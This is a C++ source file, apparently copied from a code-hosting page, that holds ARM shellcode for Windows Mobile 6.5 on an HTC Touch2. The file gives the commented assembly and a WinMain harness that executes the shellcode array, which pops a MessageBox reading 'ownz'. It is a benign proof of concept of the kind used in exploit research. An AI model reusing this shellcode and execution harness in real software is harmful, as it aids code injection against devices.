81 lines
No EOL
1.4 KiB
C++
81 lines
No EOL
1.4 KiB
C++
/*
|
|
|
|
Device: HTC Touch2
|
|
System: Windows Mobile 6.5 TR (WinCE 5.0.2)
|
|
|
|
Addresses of functions can be different on different devices so , you can edit the functions addresses.
|
|
|
|
Coded by Celil Ünüver from SecurityArchitect
|
|
|
|
Contact:
|
|
celilunuver[n*spam]gmail.com
|
|
www.securityarchitect.org
|
|
blog.securityarchitect.org
|
|
|
|
EXPORT start
|
|
AREA .text, CODE
|
|
start
|
|
eor r0, r0, r0
|
|
eor r1, r1, r1
|
|
eor r2, r2, r2
|
|
eor r3, r3, r3
|
|
ldr R12, =0x3f6272c ; LoadLibrary Address
|
|
adr r0, lib ; library name {coredll.dll}
|
|
mov lr, pc
|
|
mov pc, r12
|
|
ldr r12, =0x3f7c15c ; MessageBox Address
|
|
mov r0, #0
|
|
adr r1, mes
|
|
adr r2, mes
|
|
mov R3, #0
|
|
mov lr, pc
|
|
mov pc, r12
|
|
|
|
lib dcb "c",0,"o",0,"r",0,"e",0,"d",0,"l",0,"l",0,".",0,"d",0,"l",0,"l",0,0,0
|
|
mes dcb "o",0,"w",0,"n",0,"z",0,0,0
|
|
ALIGN
|
|
END
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <windows.h>
|
|
|
|
int shellcode[] =
|
|
{
|
|
0xE0200000,
|
|
0xE0211001,
|
|
0xE0222002,
|
|
0xE0233003,
|
|
0xE59FC048,
|
|
0xE28F0020,
|
|
0xE1A0E00F,
|
|
0xE1A0F00C,
|
|
0xE59FC03C,
|
|
0xE3A00000,
|
|
0xE28F1024,
|
|
0xE28F2020,
|
|
0xE3A03000,
|
|
0xE1A0E00F,
|
|
0xE1A0F00C,
|
|
0x006F0063,
|
|
0x00650072,
|
|
0x006C0064,
|
|
0x002E006C,
|
|
0x006C0064,
|
|
0x0000006C,
|
|
0x0077006F,
|
|
0x007A006E,
|
|
0x00000000,
|
|
0x03F6272C,
|
|
0x03F7C15C,
|
|
};
|
|
|
|
int WINAPI WinMain( HINSTANCE hInstance,
|
|
HINSTANCE hPrevInstance,
|
|
LPTSTR lpCmdLine,
|
|
int nCmdShow)
|
|
{
|
|
((void (*)(void)) & shellcode)();
|
|
|
|
return 0;
|
|
} |